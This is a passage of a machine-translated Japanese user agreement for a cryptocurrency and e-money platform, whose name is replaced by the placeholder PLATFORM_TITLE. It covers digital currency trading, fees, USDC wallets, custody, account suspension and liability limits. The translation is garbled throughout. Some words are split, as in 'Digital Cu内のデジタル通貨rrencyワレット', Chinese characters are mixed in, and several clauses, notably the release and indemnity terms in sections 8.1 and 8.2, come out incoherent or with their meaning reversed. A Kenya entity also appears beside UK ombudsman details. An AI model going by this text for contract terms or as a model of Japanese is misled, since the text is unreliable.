    4.11は規制された第三者との取引を拒否します。私たちは、電子マネーのワレットへの不正アクセス、マネーロンダリング、テロ資金調達、詐欺、またはその他の金融犯罪に関連する、客観的かつ十分な証拠のある理由で、規制されている第三者へのアクセスを拒否する可能性があります。この場合、法律で禁止されない限り、監視対象の第三者からのアクセスが拒否されたこととその理由をお知らせします。アクセス拒否の理由がもはや存在しないと確信したら、再度アクセスを許可します。


    4.12同意します。こちらにPLATFORM_TITLEアカウントを開設することで、決済サービス(つまり電子マネーサービス)を提供することを明確に同意していただきます。PLATFORM_TITLEアカウントを閉じることでいつでもこの同意を取り消すことができます。疑問を避けるため、この同意は私達がデータ保護法律法規に従ってあなたの箇人情報またはあなたの権利を処理することとは関系ありません。以下のセクション11(データ保護)と私たちのプライバシーポリシーを参照して、私たちがあなたの個人データをどのように扱うか、そしてあなたが持つ権利を理解してください。


    4.13金融監視員サービスです。PLATFORM_TITLE Paymentsがあなたの提供する電子マネーサービスに苦情を申し立てる場合、かつその苦情が第10.2条に規定された紛争手続きによって解決されない場合は、ファイナンシャル・オンブズ・サービス(FOS)に未解決の苦情を申し立てることができます。10.2条に規定された争議手続きが完了するまで、FOSに苦情を申し立てることはありません。FOSとFOSに問題を提出する資格のあるクレーマーのタイプに関する更なる情報は、以下の詳細情報を使用して見つけることができます:


    住所:金融監視員サービス、トレーディングタワー、港湾取引所、ロンドン、E14 9SRです


    電話番号は0800 023 4567または0300 123 9 123です


    eメール:complaint.info@financial-ombudsman.org.ukです

    5、デジタル通貨サービスです。


    5.1総則です。デジタル通貨ワレットを利用すると、ウェブサイトを介して、PLATFORM_TITLEプラットフォーム以外のユーザーや第三者にデジタル通貨を送信したり、要求したり、受信したり、保管したりすることができます(このような取引はすべて「デジタル通貨取引」となります)。デジタル通貨交換サービスは、以下の方法を使用してPLATFORM_TITLEプラットフォーム上でデジタル通貨を購入することができます。(A) PLATFORM_TITLE Paymentsと一緒に所有しているe-moneyウォレット内のe-moneyから。


    (B) PLATFORM_TITLEが支援する中央銀行発行通貨(例えばポンドやユーロ)です。および/またはです


    (C)あなたのデジタル通貨ウォレットにある他のデジタル通貨です。逆に、プラットフォームPLATFORM_TITLEでデジタル通貨を販売する場合は、次のようなメッセージを受け取ることができます。


    (D) PLATFORM_TITLE Paymentsでお持ちの電子マネーを入金します。


    貨幣の財布です;


    (E) PLATFORM_TITLEが支援する中央銀行発行通貨(例えばポンドやユーロ)です。および/またはです


    (F)あなたのデジタル通貨ウォレット内の他のデジタル通貨です。PLATFORM_TITLEは、顧客がPLATFORM_TITLEプラットフォーム上でデジタル通貨を購入・販売することを促進し、支援します。


    5.2法定通貨取引(電子マネーウォレットを使用しません)。デジタル通貨ウォレットに有効な支払い方法をリンクさせることで、対応デジタル通貨を購入することができます。あなたは私達にあなたの購入を完了するためにあなたの選択した支払い方法を使用して資金をデビットすることを許可します。できるだけ早くデジタル通貨をお渡ししようと試みますが、ご自身のデジタル通貨の取引状態が完了したと表示されるまで、ご選択の支払い方法から金額が差し引かれ、デジタル通貨がごデジタル通貨ウォレットにお渡しされる場合があります。デジタル通貨を販売することで、PLATFORM_TITLEがサポートする法定通貨(ポンドやユーロなど)と交換することができます。この場合、あなたは私たちがデジタル通貨ワレットからお金を引き落とし、販売取引を決済するためにあなたが選択した支払い方法に記入するコマンドを送信することを許可します。私たちはできるだけ早くこれらの説明書を送ります。私達がこのような指示を送った後の作業日が終了する前に、どの法定通貨もあなたの選択した支払い方法に記入されるべきです。


    5.3取引を履行します。私たちは、デジタル通貨のすべての購入に合理的な努力を尽くすつもりですが、場合によってはそうはいかないかもしれません。このような場合、私たちはあなたに通知し、現在のレート(以下のように定義されています)で再度購入を試みるために承認を求めます。


    5.4支払い方法の可用性です。支払い方法の利用可能性は、例えばあなたの位置、あなたが私たちに提供した識別情報、第三者の支払い処理業者によって課せられた制限など、多くの要因に依存します。


    5.5変換料です。デジタル通貨を購入したり売ったりするたびに費用(「両替料」)がかかります。適用される変換料は、各取引の前にwebサイトに表示され、私たちが発行する領収書1枚1枚に記載されます。私たちはいつでも変換料を調整することができます。変換費用とその他の関連費用があなたの取引価値を上回る場合、私たちは取引を処理しません。PLATFORM_TITLE Kenya料金の完全なリストは、当社の価格設定および料金開示ページで見ることができます。


    5.6為替レートです。デジタル通貨を買ったり売ったりするたびに、与えられた取引の為替レートの影響を受けます。「為替レート」とは、サイト上で法定通貨として表示されている支持デジタル通貨の所与の価格のことです。為替レートは「買い値」または「売り値」で表示され、デジタル通貨をそれぞれ購入または売却できる価格です。あなたは任意の所与の時点で買値レートと売値レートが異なる可能性があることを認めて、そして私達は提示レートに手付金または「ポイント差」を追加するかもしれません。取引を許可するとき、あなたはレートを受け入れることに同意します。PLATFORM_TITLE Kenyaの為替レートに関する詳細な情報は、ウェブサイトの「価格設定と料金の開示」ページからおわかりいただけます。我々はいかなる為替レートの利用可能性も保証しません。私たちは、あなたが公開市場において、特定の価格または時間において、あなたのデジタル通貨を購入および/または販売できることを保証しません。


    5.7授権します;逆転します;キャンセルします。ウェブサイト上の「購入」または「販売」ボタンをクリックすることで、PLATFORM_TITLEがオファーの購入価格または売却価格で取引を開始することを許可し、パートナーdへの変換料、交換料、その他任意の費用に同意します。完了または処理対象と表示された取引をキャンセル、撤回、または変更することはできません。お支払いが成功しなかったり、お支払い方法の資金が不足している場合は、取引をキャンセルするか、電子マネーのワレットおよび/またはデジタル通貨上の残高ワレットを含む他のお支払い方法から差し引くことを当社に委任して、必要な金額をすべて完了させます。あなたは支払プロバイダーが当座貸し越し、資金不足、または同様の料金を請求しないように、十分な残高および/または十分な信用限度を維持する責任があります。PLATFORM_TITLEは、このような支払い不足が解消されるまで、PLATFORM_TITLE消費者、PLATFORM_TITLE Proを含むPLATFORM_TITLEサービスへのアクセスを一時停止する権利を保持します。


    5.8デジタル通貨の取引です。私たちは、あなたが受け取った指示に従ってデジタル通貨の取引を処理します。私たちに指示を出す前に、あなたはすべての取引情報を確認すべきです。私たちは、ユーザー、受信者、要求された側、または他の第三者のアイデンティティを保証するものではなく、あなたが提供する情報が正確で完全であることを保証する責任または義務を負いません。デジタル通貨の取引は、いったん当該デジタル通貨ネットワークに放送されると、廃止することはできません。受信者のメールアドレスや携帯電話番号を入力してデジタル通貨の取引を開始しても、受信者が既存のPLATFORM_TITLEアカウントを持っていない場合は、PLATFORM_TITLEアカウントの開設を呼びかけます。受取人が30日以内にPLATFORM_TITLEアカウントを開設していない場合、関連するデジタル通貨をあなたのデジタル通貨ウォレットに返金します。あなたに代わってデジタル通貨取引を処理するために、ネットワーク料金(「マイナー料金」)を請求する場合があります。マイナー料金の算定は当社で決定しますが、デジタル通貨取引の承認時(またはその前)には常にマイナー料金をお知らせします。PLATFORM_TITLEKenyaマイナー料金の完全なリストは、当社のウェブサイトの「価格設定と料金の開示」ページで見ることができます。取引ごとのマイナー手数料は、チェックアウトページでの購入時に開示されます。あなたまたは第三者が非PLATFORM_TITLEホストされた外部ワレットからPLATFORM_TITLEデジタル通貨ワレットにデジタル通貨を送信する場合、取引を開始した者は、取引をスムーズに完了させるためにマイナー手数料を支払うことも含めて、取引を正確に実行する責任を負います。作業者料金の不支払いにより、あなたの取引はPLATFORM_TITLE Kenyaの制御不能な処理対象状態になる可能性があります。取引の起動エラーによる遅延や損失については責任を負いませんし、そのような取引の救済に協力する義務もありません。いったんデジタル通貨ネットワークに提出すると、デジタル通貨の取引はしばらく確認されず、デジタル通貨ネットワークによる取引の確認が十分に行われるまで待ちます。処理対象のデジタル通貨の取引は未完了です。処理対象のデジタル通貨取引に関連するデジタル通貨は、それに応じて指定され、ネットワークが確認するまであなたのデジタル通貨ウォレット残高に含まれないか、またはデジタル通貨取引に利用可能です。また、マネーロンダリング、テロ資金調達、詐欺、またはその他の金融犯罪があった場合など、法律、規制、またはPLATFORM_TITLEが管轄する管轄区域内の裁判所またはその他の機関の要請に従って、処理対象となるデジタル通貨取引の処理を拒否し、または取り消すこともできます。


    5.9でサポートされるデジタル通貨です。当社のデジタル通貨サービスは、PLATFORM_TITLEが対応しているデジタル通貨(「対応デジタル通貨」)のみに対応しており、時々変更される場合があります。いずれの場合も、当社がサポートしていない形態でデジタル通貨を保存、送信、要求、または受信しようとしては、あなたのデジタル通貨ウォレットを使用してはいけません。我々がサポートしていないデジタル通貨にあなたのデジタル通貨ウォレットを使用するいかなる試みについても、我々は責任または義務を負いません。PLATFORM_TITLEは、あなたのPLATFORM_TITLEアカウントに関連付けられたウォレットに送信されたサポートされていないいかなるアセットに対しても責任を負わないことを承認し、同意します。現在サポートしているデジタル通貨についてご質問がございましたら、https://help.PLATFORM_TITLE.comをご覧ください。


    5.10でデジタル通貨のサポートが終了します。PLATFORM_TITLEは、任意のデジタル通貨のサポートを終了することを自ら決定することができます。PLATFORM_TITLEは、このようなサポートの終了を宣言するために、あなたのPLATFORM_TITLEアカウントに関連付けられた電子メールアドレスに少なくとも10日前に電子メールで通知します(適用される法律または規制当局がより短い期間を要求しない限り)。この期間中にプラットフォームの外でこのようなデジタル通貨を販売または送信しない場合、PLATFORM_TITLEはあなたのアカウントからこのようなデジタル通貨を引き出し、サポートしているデジタル通貨または法定通貨の市場価値をあなたのPLATFORM_TITLEアカウントに記入する権利を保持します(額面価格は私たちの合理的な裁量権にあります)。


    5.11 USDCウォレットです。利用可能な場合は、PLATFORM_TITLEからUSD Coinを購入することもできます。これは完全にドル抵当型のデジタル通貨で、Circle Internet Financial(「Circle」)が発行し、PLATFORM_TITLE(「USDC」)がサポートしています。あなたは、あなたの「USDCウォレット」残高の所有者です(つまり、PLATFORM_TITLE Kenyaは、USDCを所有し、USDC内のデジタル通貨を取引するためにあなたのデジタル通貨ウォレットを提供します)。PLATFORM_TITLEはUSDCの発行者ではなく、USDC保有者のためにドル(「USD」)を保有しておらず、USDCをドルで買い戻す義務もありません。Circleを通じてUSDCを交換することができ、PLATFORM_TITLEはドルと交換してUSDCを買い戻すこともできます。あなたの同意を受けサークルusdc合意(https://support.usdc.circle.com/hc/en-us/articles/360001233386-circle-usdc-user-agreement)に条項の取り締まり、このプロトコルは、USDCに関する追加の義務、約束、および制限を提供します。


    5.12経常デジタル通貨取引です。あなたがデジタル通貨の定期購入(「将来の取引」)を設定している場合、あなたの銀行口座に関連付けられたあなたの選択したデジタル通貨取引および任意の対応する支払い口座(例えば直接デビットまたはローン)に基づいて定期的な電子支払いを開始することを、私たちに許可します。あなたの将来の取引は、あなたまたはPLATFORM_TITLEが将来の取引をキャンセルするまで、あなたの選択した期間(例えば、毎日、毎週、毎月)に応じて同じ定期分割払いで行われます。将来の取引の支払い手段として銀行口座を選択した場合、当該取引が当該銀行が所在する地域の週末または祝日、または当該銀行の営業時間後に行われた場合、ローンまたはデビットは翌営業日に実行されますが、定期取引時にデジタル通貨の料金が請求されます。もしあなたの銀行がPLATFORM_TITLEへの支払いを処理できない場合、私たちはあなたに取引のキャンセルを通知し、本契約に規定されている救済措置を利用してPLATFORM_TITLEの未払い金額を回収することができます。この許可は、あなたが将来の取引設定を変更するまで、またはhttps://help.PLATFORM_TITLE.comを通じて私たちに書面通知を提供するまで、完全に有効なままです。PLATFORM_TITLEに関連付けられた銀行口座情報の変更を、今後の取引の前に書面で通知することに同意します。PLATFORM_TITLEはいつでもあなたに通知を出すことで将来の取引を終了することができます。


    5.13追加協議除外します。webサイト上で明示的に宣言されない限り、またはPLATFORM_TITLEの公式な宣言によって、または本契約で規定された他の方法によって、サポートされるデジタル通貨は、サポートされるデジタル通貨を補完する、または相互作用する他のすべてのプロトコルおよび/または機能を含みません。この除外には、メタコイン、カラーコイン、サイドチェーンまたは他の派生、強化またはフォークプロトコル、トークンまたはコイン、または質、プロトコルガバナンス、および/またはサポートデジタル通貨を補完または相互作用する可能性のある任意のスマートコントラクト機能などが含まれますが、これらに限定されません。PLATFORM_TITLEプラットフォームは、これらの取引および機能を検出、保護、または処理するように構成されていないので、他の種類の取引を受信、要求、送信、保存、または参加する機能、またはそのような追加プロトコルに関与する機能をPLATFORM_TITLEアカウントを使用してはいけません。このような品物のいかなる取引の試みもその品物を失うことになります。本契約の規定を除き、追加契約はサポートされているデジタル通貨から除外され、PLATFORM_TITLEは追加契約に関連するいかなる損失に対しても責任を負いません。

    5.14デジタル通貨プロトコルの操作です。私たちは、プラットフォーム上でサポートされているデジタル通貨の動作を管理するソフトウェアプロトコルを所有していませんし、制御もしていません。基本的に基本プロトコルは「オープンソース」であり、誰でも利用、複製、修正、配布することができます。我々は基礎となるプロトコルの運用について責任を負いません。我々はネットワークの運用の機能性や安全性を保証することはできません。あなたのデジタル通貨ワレットに保存されているあらゆるデジタル通貨に関連したソフトウェアプロトコルが変更される可能性があるというリスクを認め、受け入れます。特に、基本的なプロトコルは、「フォーク」を含むオペレーションルールの急な変化の影響を受ける可能性があります。このような重大な運用変更は、あなたのデジタル通貨ワレットに保存されているデジタル通貨の可用性、価値、機能、および/またはtの名前に大きな影響を及ぼす可能性があります。PLATFORM_TITLEは、このような大きなオペレーションの変化のタイミングや特徴を制御しません。あなたはこれから起こる運用の変化を自分自身に理解させる責任があり、影響を受けるデジタル通貨の取引のためにあなたのPLATFORM_TITLEアカウントを使用し続けるかどうかを判断する際には、利用可能な情報とPLATFORM_TITLEが提供する可能性のある情報を公開することを慎重に考慮しなければなりません。このような運用変更が発生した場合、PLATFORM_TITLEは、PLATFORM_TITLEのプラットフォーム上に保有する資産の安全性を保護するために必要な措置を取る権利を保持します。これには、関連するデジタル通貨の運用を一時的に停止する他の必要なステップが含まれます。PLATFORM_TITLEは、重大な運用変更に対する応答を通知するために最善を尽くします。ただし、このような変更はPLATFORM_TITLEの制御範囲外であり、PLATFORM_TITLEへの通知なしに発生する可能性があります。PLATFORM_TITLEは、新しいデジタル通貨、フォーク、その他のアクションを一切サポートしないという決定を含む、重大なオペレーション変更への対応を独自に決定します。あなたはデジタル通貨プロトコルの動作変更のリスクを認め、受け入れ、PLATFORM_TITLEはそのような動作変更の責任を負わず、また動作規則のこのような変更に起因するいかなる価値損失の責任も負わないことに同意します。PLATFORM_TITLEは、いかなる運営の変化に対する応答も、あなた自身で決定する権利があり、私たちは、サポートされていない通貨またはプロトコルの取り扱いを支援する責任はありません。


    5.15いくつかのデジタル通貨の代替可能性です。PLATFORM_TITLEは、複数のブロックチェーン・プロトコル(例えば、第2層ネットワーク、第1層ネットワークの代わりに、またはサイドチェーン)にまたがる複数の異なる方法で、あなたのデジタル通貨ワレットにサポートされたデジタル通貨を保存することができることを承認し、同意します。あなたのデジタル通貨ワレットにサポートされたデジタル通貨を保有している場合、PLATFORM_TITLEはそのようなデジタル通貨を主要なブロックチェーン・プロトコルから移し、PLATFORM_TITLEが制御する共有ブロックチェーン・アドレス上に保存することができます。これらと互換性のある形で代替ブロックチェーン・プロトコルにプロトコルしています。あなたは、(a)このようなデジタル通貨の任意の形態を含むか、(b)このようなデジタル通貨の任意の形態を格納するブロックチェーン・プロトコルにかかわらず、複数のブロックチェーン・プロトコルにまたがって所有および提供されるすべての形態の同じデジタル通貨は、互換性があり、互いに等価であるとみなされることに同意します。


    5.16デジタル通貨のストレージと転送遅延です。PLATFORM_TITLEグループは、デジタル通貨の秘密鍵をオンラインとオフラインを組み合わせた方法で安全に保存しています。我々のセキュリティプロトコルは、デジタル通貨取引の開始または記入を遅らせる可能性があります。


    5.17第三者の支払いです。任意の第三者(デジタル通貨サービスの利用を含む)から利用する場合があります。私たちはあなたと取引を行う第三者の買い手または売り手が取引を完了するか、または許可されることを保証する責任はありません。デジタル通貨サービスを使用して第三者から購入または販売した商品またはサービスに問題がある場合、または第三者と紛争がある場合は、第三者と直接紛争を解決しなければなりません。第三者の行為が詐欺的、誤解を招く、または不適切な行為であると判断される場合、または第三者との紛争を十分に解決できない場合は、以下の方法でPLATFORM_TITLEのサポートを通知することができます:trust@PLATFORM_TITLE.comは、我々がどのような措置を取るかを検討するために。


    5.18 PLATFORM_TITLE金庫です。PLATFORM_TITLEはマルチシグネチャ金庫の使用をサポートしていません。PLATFORM_TITLE Vaultのような他のサービスを利用することもできます。PLATFORM_TITLE Vaultは引き出し時間の遅延を設定し、デジタル通貨の保管と転送のための他の条件を作ることができます。そのような製品やサービスに関する別のルールが適用される場合があります。PLATFORM_TITLE Vaultに関するさらなる情報はこちらです:https://help.platform_title.com/customer/en/portal/articles/2877996-vaults-faq?b_id=13521。


    5.19デジタル通貨のタイトルです。あなたのデジタル通貨ワレットに保有されているすべてのデジタル通貨は、PLATFORM_TITLEグループがあなたの利益のためにホストベースで保有している資産です。これは他にも意味します


    (A)デジタル通貨の所有権は常にあなたにあり、PLATFORM_TITLEグループのいかなる会社にも譲渡してはなりません。あなたのデジタル通貨ワレットの中のデジタル通貨の所有者であるあなたは、そのデジタル通貨が失われるすべてのリスクを負うことになります。PLATFORM_TITLEグループ内のどの企業も、あなたのデジタルマネーワレットに保有するデジタル通貨の法定通貨価値の変動については責任を負いません。


    (B)あなたのDigital Cu内のデジタル通貨rrencyワレットは、PLATFORM_TITLEの所有物ではありません。または、PLATFORM_TITLEに貸し出されるべき、または貸し出される可能性があります。PLATFORM_TITLEは、ユーザーのデジタル通貨ワレット内の資産を表示したり、PLATFORM_TITLEに属していると見なしたりしません。PLATFORM_TITLEは、あなたのデジタルカレントワレットに保有するデジタル通貨の担保権を付与することはできません。表面上有効な裁判所命令によって要求されるか、本契約に別項がない限り、PLATFORM_TITLEは、あなたが指示するか管轄権のある裁判所によって強制されない限り、デジタル通貨ワレット内のデジタル通貨を売却、譲渡、貸与、抵当、またはその他の方法で譲渡することはありません。


    (C)あなたは、自分のデジタル通貨ウォレットに保有するデジタル通貨をコントロールします。いつでも、あなたのデジタル通貨は、中断、停止時間、および適用される他のポリシーに従って、あなたまたは第三者が制御する異なるブロックチェーンアドレスにデジタル通貨を送信することによって抽出することができます。


    (D)顧客デジタル通貨をより安全に保有するために、PLATFORM_TITLEグループは、PLATFORM_TITLEグループのメンバーによって制御される共有ブロックチェーンアドレスを使用して、顧客および/またはPLATFORM_TITLEケニアが保有するデジタル通貨を保有することができます。顧客のデジタル通貨と、PLATFORM_TITLEグループ(PLATFORM_TITLEケニアを含む)独自のデジタル通貨または資金は、顧客とPLATFORM_TITLEグループのアカウントの別々の台帳によって分離されます。上記の規定にもかかわらず、PLATFORM_TITLEグループは、あなたが所有するデジタル通貨と他の顧客またはPLATFORM_TITLEグループが所有するデジタル通貨を異なるブロックチェーンアドレスで保存する義務はありません。PLATFORM_TITLEは、デジタル通貨、暗号または秘密鍵の紛失、盗難、故障、破損、その他の方法でアクセス不能になった場合、代替デジタル通貨の発行を義務付けていません。


    5.20ハイレベルの取引です。PLATFORM_TITLEは、各種デジタル通貨と法定通貨の取引ペア(「註文簿」ごと)の註文簿をhttps://www.PLATFORM_TITLE.com/(「アドバンスドトレーディング」)上で提供しており、条件を満たしたユーザーがアクセスできます。プレミアムな取引で利用可能な註文リストを見るために、PLATFORM_TITLEのアカウントを確認します。PLATFORM_TITLEはすべての管轄区域の顧客に高度な取引を提供していません。Advanced TradingまたはPLATFORM_TITLE API for Advanced Tradingにアクセスすることで、取引規則に拘束されることを受け入れ、同意します。


    (A)取引費用です。Advanced Tradingに註文することで、適用されるすべての料金を支払い、PLATFORM_TITLEが自動的にアカウントから引き落とされることを承認します。取引費用は取引規則で定められています。


    (B)引き出し費用です。PLATFORM_TITLEは、いくつかの法定通貨の預金や引き出し方法(例えば、銀行の電信送金)に課金を課す可能性があります。預金や引き出しが制限される可能性があります。


    (C)取引口座で使用します。あなたの取引口座へのアクセス権を、他のエンティティ、またはあなたの従業員や代理人ではない個人に販売、貸与、提供、またはその他の方法で許可または提供してはいけません。あなたは、あなたの従業員または代理人がAdvanced Tradingを使用することに対して、すべての責任を負います。そのような使用がPLATFORM_TITLEによって直接行われるか、あるいは、APIキーおよび/またはあなたが許可する可能性のあるアプリケーションによって促進されるかにかかわらず。あなたのアカウントに関連する識別子、権限、パスワード、セキュリティコードを含む、高度な取引に入るあらゆる註文、取引、およびその他の命令に対する責任を理解し、同意します。


    (D)一時停止とキャンセルです。あなたのアカウントが停止または終了された場合、私たちは直ちにあなたのアカウントに関連するすべての未完了註文をキャンセルし、すべての引き出しを阻止し、それ以上の註文を禁止します。解決またはアカウントがキャンセルされるまで。


    6.取引規制とデューデリジェンスの強化


    6.1取引制限です。すべてのPLATFORM_TITLEサービスの利用は、取引量によって制限され、ポンド、ユーロ、またはその他の法定通貨またはデジタル通貨で表され、所与の時間帯(例えば毎日)に取引または送金を行うことができます。詳細は、付録2(検証手順と制限)をご参照ください。ご制限を確認するには、PLATFORM_TITLEのアカウントにログインして、https://<br>www.PLATFORM_TITLE.com/verificationsへアクセスしてください。あなたの取引限度額は、お支払い方法、完了した検証手順、その他の要因によって異なる場合があります。私たちは、私たちが必要と認める場合に適用制限を変更する権利を留保します。限度額を公表以上に引き上げたい場合は、https://help.PLATFORM_TITLE.comで請求することができます。


    6.2デューデリジェンスを強化します。制限の引き上げをご希望の場合は、ご自身またはご業務に関するその他の情報の提出、記録の提供、PLATFORM_TITLEの従業員との会議の予定(「デューデリジェンスの強化」)を要求するかもしれません。私たちは、このような強化デューデリジェンスに関連したコストと費用を請求する権利を留保しますが、もし私たちがそうするつもりであるならば、あなたがこの請求を継続することを望むかどうかを決定するために、私たちはあなたに前もってお知らせします。私たちの判断によると、私たちはあなたの制限を高めることを拒否するか、またはあなたが強化デューデリジェンスを完了した場合でも、私たちはあなたの制限を後で下げるかもしれません。


    7.Sは使用を一時停止して、終了して取り消します。


    7.1停止、終了、およびキャンセルします。私たちはできます:(a) PLATFORM_TITLEアカウントから資金を差し引いても、許可された取引を完了または保留、阻止、キャンセルまたは撤回することを拒否します。(b)あらゆるPLATFORM_TITLEサービスへのアクセスを一時停止、制限、または終了します。および/または(c)いずれかの理由であなたのPLATFORM_TITLEアカウントを直ちに停止またはキャンセルします。以下を含みますがこれらに限定されません。


    (A)私たちの評判を守るために必要だと信じる理由があります


    (B)私たちは合理的に、適用される法律、規則、または私たちがいかなる管轄区域でもその管轄下にあるいかなる裁判所またはその他の当局が私たちにこのようなことを要求していると考えます。


    (C)私達はあなたの行為が本契約に違反することを疑う理由があります;


    (D)私たちはあなたが私たちの「行動ポリシー」または「使用禁止、業務禁止、条件付き使用ポリシー」に違反した疑いがある理由があります(付録1に記載)。


    (E)取引エラーやあなたのPLATFORM_TITLEアカウントのセキュリティを心配します。あるいはPLATFORM_TITLEサービスが詐欺や不正な方法で使用されている疑いがあります。


    (F)資金洗浄テロ資金調達詐欺その他の金融犯罪が疑われます


    (G)あなたのPLATFORM_TITLEアカウントの使用は、係属中の訴訟、調査、または政府の手続きの影響を受けること、および/または私たちがあなたのPLATFORM_TITLEアカウントの活動に関連する法律または規制違反のリスクが増加すると考えることです。および/またはです


    (H) PLATFORM_TITLEアカウントを複数開設したり、我々が時々提供する可能性のある販促キャンペーンを悪用するなど、我々のコントロールを回避する可能性のある行動を取ることです。あなたの電子通貨ワレット内の電子マネーが不十分である場合、および/またはあなたのデジタル通貨ワレット内のデジタルマネーが取引および適用されるように支払いに不十分である場合、また、私たちが取引の通知を受け取ったとき、またはあなたのクレジットカードまたはデビットカード、またはあなたのPLATFORM_TITLEアカウントまたはデジタル通貨ワレットに関連付けられた他の有効な支払い方法が拒否されたとき、許可された取引を完了または阻止、キャンセルまたは撤回することを拒否する可能性があります。

    7.2当社が取引の完了および/またはPLATFORM_TITLEアカウントの停止、制限、または停止、および/またはPLATFORM_TITLEサービスの使用の終了を拒否する場合、当社の行動および拒否、停止、または停止の理由を(違法でない限り)お知らせします。また、適切な場合には、PLATFORM_TITLEアカウントの拒否、停止、または停止の原因となる事実上の誤りを訂正するプログラムです。私たちはPLATFORM_TITLEアカウントの取引完了および/または停止を拒否します。拒否および/または停止の原因がもはや存在しない場合、合理的に実行可能な限りできるだけ早く停止を解除または完了します。しかし、一時停止、撤回、またはキャンセルされた取引と同じ価格または同じ条件で取引を再開させる義務はありません。PLATFORM_TITLEサービスのいずれかまたはすべてへのアクセスを停止、制限、または終了し、かつ/またはPLATFORM_TITLEアカウントを2ヶ月前に通知することなく停止またはキャンセルする場合があります。PLATFORM_TITLEアカウントへのアクセス制限、一時停止、または停止を含む何らかの行動を取るという当社の決定が、当社のリスク管理およびセキュリティプロトコルにとって必要不可欠な機密基準に基づく可能性があることを承認されました。PLATFORM_TITLEがリスク管理およびセキュリティ手順の詳細をあなたに開示する義務がないことに同意します。


    7.3終了または停止の結果です。何らかの理由で本契約が終了した場合、適用される法律またはPLATFORM_TITLEがいかなる管轄区域においてもその管轄下にある裁判所または他の命令で禁止されない限り、あなたはあなたのPLATFORM_TITLEアカウントにアクセスすることができます:


    (A)その後90日以内に、あなたのデジタル通貨ウォレットおよび/またはPLATFORM_TITLEプラットフォームからデジタル通貨を転送する目的で行います。および/またはです


    (B)この契約の終了日から6年以内の任意の時点で、あなたのe-moneyウォレットおよび/またはPLATFORM_TITLEプラットフォームからe-moneyを引き出すために使用されます。その間、PLATFORM_TITLEサービスまたはあなたのPLATFORM_TITLEアカウントを他のいかなる目的にも使用してはいけません。適宜、PLATFORM_TITLEプラットフォームの機能を制限するか、またはそれに応じてあなたのウェブサイトへのアクセスを制限することができます。私たちが何らかの理由であなたのPLATFORM_TITLEアカウントを一時停止または停止したり、PLATFORM_TITLEサービスの使用を終了したりした場合、私たちはあなたへの要求を保留します。


    セクション3.3 (id認証)に概説されているプログラムの権利を取得してから、デジタルマネーや電子マネーの移転や引き出しを許可します。いつでも抽出してあなたのための電子貨幣の财布やデジタル通貨の财布の中のすべての残高を訪問、https://www.platform_title.com/settings/cancel贵方を取り消しplatform_title口座に来ます。キャンセルは、あなたのPLATFORM_TITLEアカウントを入力するために課金されませんが、あなたは私たちの未払い金を支払う必要があります。あなたは私達がキャンセル時に処理すべき取引をキャンセルまたは停止することを許可します。


    8.責任です


    8.1 PLATFORM_TITLEのリリースです。PLATFORM_TITLEサービスの1人または複数のユーザー(PLATFORM_TITLEを除く)と紛争が発生した場合、当社、当社の関連会社またはサービスプロバイダー、ならびに当社のそれぞれの役員、取締役、エージェント、ジョイントベンチャー、従業員、代表者に同意していただけます。このような紛争に起因する、または何らかの方法で関連する、あらゆる種類または性質のクレーム、要求、損害賠償(実際および対応する、直接または間接的)に対して責任を負います。


    8.2補償します。付録1に記載されたような費用(弁護士費用、罰金、費用、または当社の違反および/または当社による本契約の実施(当社の「行動ポリシー」または当社の「ポリシーによる使用禁止、業務禁止、条件付き使用」の違反を含むがこれらに限定されません)について、または法律、規則、規制、または第三者の権利への違反に同意ください。


    8.3責任制限です。PLATFORM_TITLEの本契約違反によるあなたの損失、コスト、責任または費用のいずれかの個人的な請求または一連の関連する請求に対するPLATFORM_TITLEの合計責任は、PLATFORM_TITLEに関連する違反行為が発生した場合の最大合計に限定されるべきです。e-moneyウォレットとデジタル通貨ウォレット内のデジタル通貨とe-moneyの合計価値を保存します。私たちが特定の取引に関連した特定のクレームを検討している場合、その金額は係争中の取引の購入/販売の金額(関連する場合)にさらに制限されるべきです。


    8.4損失制限です。上記のセクション8.3(責任制限)における責任の上限を除いて、いずれの場合にも、当社、当社の関連会社またはサービスプロバイダ、または当社またはその管理者、取締役、代理人、従業員、または代表者は、本契約またはその他の方法によって引き起こされる、またはそれに関連する以下の種類の損失または損害を一切負いません。


    (A)予期された取引利益の損失および/または実際または想定された直接または間接的な取引損失を含む利益の損失または予期された収益または利益の損失は、たとえ我々が知らされたか知っていたとしても、あるいは同じ可能性を知っていたはずです。これが意味するのは、単なる例として(前文の範囲を限定するものではなく)、当社がデジタル通貨の取引を適切に処理できなかったと主張する場合、あなたの損失は、デジタル通貨の支持された価値以上の取引に関与しない通貨および電子マネーに限定され、取引の利益が予想される「損失」、またはデジタル通貨の売買ができなかったことによる実際の取引の損失を補償することができない場合があります。


    (B)評判やのれんによる損失や損害です。任意の業務や机会、顧客や契約の損失です;任意の間接費用、管理または他の従業員の時間の損失または無駄です;または任意の他の直接または間接的な収入の損失または実際または予期された節約、たとえ私達が教えられるか知っているか同じ可能性を知っているはずです;


    (C)任意のハードウェア、ソフトウェアまたはデータの使用の損失および/またはデータの任意の破損です。デジタル通貨価格データの不正確、欠陥、または欠落による、または、それに関連する損失または損害を含みますが、これらに限定されません。このようなデータの送信のエラーまたは遅延;および/またはこのようなデータの任意の中断です;と


    (D)当社が本契約に違反したことによる直接的な損失または損害ではないもの(そのような損失または損害を証明できるかどうかに関わらず)です。


    8.5法律を適用します。本第8条(責任)における責任制限は、適用される法律および規則に基づき、PLATFORM_TITLEサービスを提供する際に合理的な慎重さと技能を行使する義務があります。本契約のいかなる内容も、私たちの詐欺や詐欺的陳述、重大な過失、故意の不当行為、私たちまたは私たちの下請業者の不注意による死亡や人身傷害の責任を制限するものではありません。


